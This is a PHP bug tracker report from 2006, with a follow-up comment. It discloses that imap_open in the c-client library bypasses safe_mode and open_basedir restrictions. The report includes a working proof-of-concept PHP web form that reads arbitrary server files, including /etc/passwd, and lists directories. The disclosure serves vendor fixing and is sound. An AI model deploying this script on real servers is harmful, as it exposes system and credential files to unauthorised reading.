ID: 37265
Comment by: judas dot iscariote at gmail dot com
Reported By: Challii at btinternet dot com
Status: Open
Bug Type: IMAP related
Operating System: RHE3
PHP Version: 4.4.2
New Comment:
a PHP dev can correct me if Im wrong, but this is not a PHP bug.
if the mail_open() function of the c-client library allows to read
arbitrary files on the server, it's not precisely a PHP problem right
?
php extension can do what the underlying library API permits.
Previous Comments:
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[2006-05-01 17:02:12] Challii at btinternet dot com
Description:
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Vulnerability in c-client library (tested with versions
2000,2001,2004), mail_open
could be used to open stream to local files.
For php and imap module
imap_open allow to bypass safemode and open_basedir restrictions.
Use imap_body or others to view a file and imap_list to recursively
list a directory.
s/mailbox/file :)
imap_createmailbox
imap_deletemailbox
imap_renamemailbox
to create,delete,rename files with apache privileges.
Reproduce code:
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##### code #####
<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>
<?php
$string = !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
if ($string && $switch == "file") {
$stream = imap_open($string, "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$str = imap_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$string = explode("|",$string);
if (count($string) > 1)
$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]\n";
echo "</pre>";
imap_close($stream);
}
?>
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Expected result:
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That the file could not be accessed due to a security permission
Actual result:
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The ability to see any file on the server.
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